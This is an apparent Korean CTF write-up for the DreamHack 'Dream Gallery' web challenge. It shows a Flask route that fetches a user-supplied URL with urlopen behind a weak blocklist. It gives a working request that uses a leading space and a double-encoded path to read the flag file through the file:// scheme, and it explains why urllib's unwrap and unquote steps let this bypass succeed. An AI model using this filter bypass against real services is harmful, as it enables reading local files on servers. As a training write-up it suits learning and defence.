본문 바로가기

Hacking/DreamHack

Dream Gallery

코드 분석

@app.route('/request')
def url_request():
    url = request.args.get('url', '').lower()
    title = request.args.get('title', '')
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')

    try:
        data = urlopen(url).read()
        mini_database.append({title: base64.b64encode(data).decode('utf-8')})
        return redirect(url_for('view'))
    except:
        return render_template("request.html")


@app.route('/view')
def view():
    return render_template('view.html', img_list=mini_database)
    
    
if __name__ == "__main__":
    img_list = [
        {'초록색 선글라스': "static/assetA#03.jpg"}, 
        {'분홍색 선글라스': "static/assetB#03.jpg"},
        {'보라색 선글라스': "static/assetC#03.jpg"}, 
        {'파란색 선글라스': "static/assetD#03.jpg"}
    ]
    for img in img_list:
        for k, v in img.items():
            data = open(v, 'rb').read()
            mini_database.append({k: base64.b64encode(data).decode('utf-8')})
    
    app.run(host="0.0.0.0", port=80, debug=False)

 

request 파라미터에 필터링이file://, flag 가 되어 있따. 

이를 우회하여, flag 호출하면

 

view 렌더링 때, img_list에 flag를 입력해서 렌더링 할 수 있다.

 

일반적으로 웹취약점 점검을 할때, 더블 인코딩으로 필터링 우회 하는 경우가 있어서

 

GET /request?url=%20file:///fl%2561g.txt&title=flag3

위와 같이 공격하면 공격 성공

이에 대해, 이유를 말해주는 문제 였다.

 

urllib.request.urlopen 요청은 아래와 같은 순서로 진행 됨

  • request.py
    • urlopen → open → Request 클래스 → full_url → unwarp → _splittag → _parse → _splittype → _splithost → unquote
  • 이때 unwrap 함수에서 
    - 공백 없애고
    - 앞뒤 꺽쐬 없애고 url 호출
def unwrap(url):
    """Transform a string like '<URL:scheme://host/path>' into 'scheme://host/path'.
    The string is returned unchanged if it's not a wrapped URL.
    """
    url = str(url).strip()
    if url[:1] == '<' and url[-1:] == '>':
        url = url[1:-1].strip()
    if url[:4] == 'URL:':
        url = url[4:].strip()
    return url

- _parse 함수 에서는 url 디코딩 수행

=> 따라서, 더블 인코딩 시 우회 가

def _parse(self):
    self.type, rest = _splittype(self._full_url)
    if self.type is None:
        raise ValueError("unknown url type: %r" % self.full_url)
    self.host, self.selector = _splithost(rest)
    if self.host:
        self.host = unquote(self.host)

'Hacking > DreamHack' 카테고리의 다른 글

r-xor-t  (0) 2024.09.05
[CodeEngn] Malware L08  (1) 2024.09.04
Additional calculator  (0) 2024.09.04
web-ssrf  (1) 2024.09.04
Bypass-WAF  (0) 2024.09.04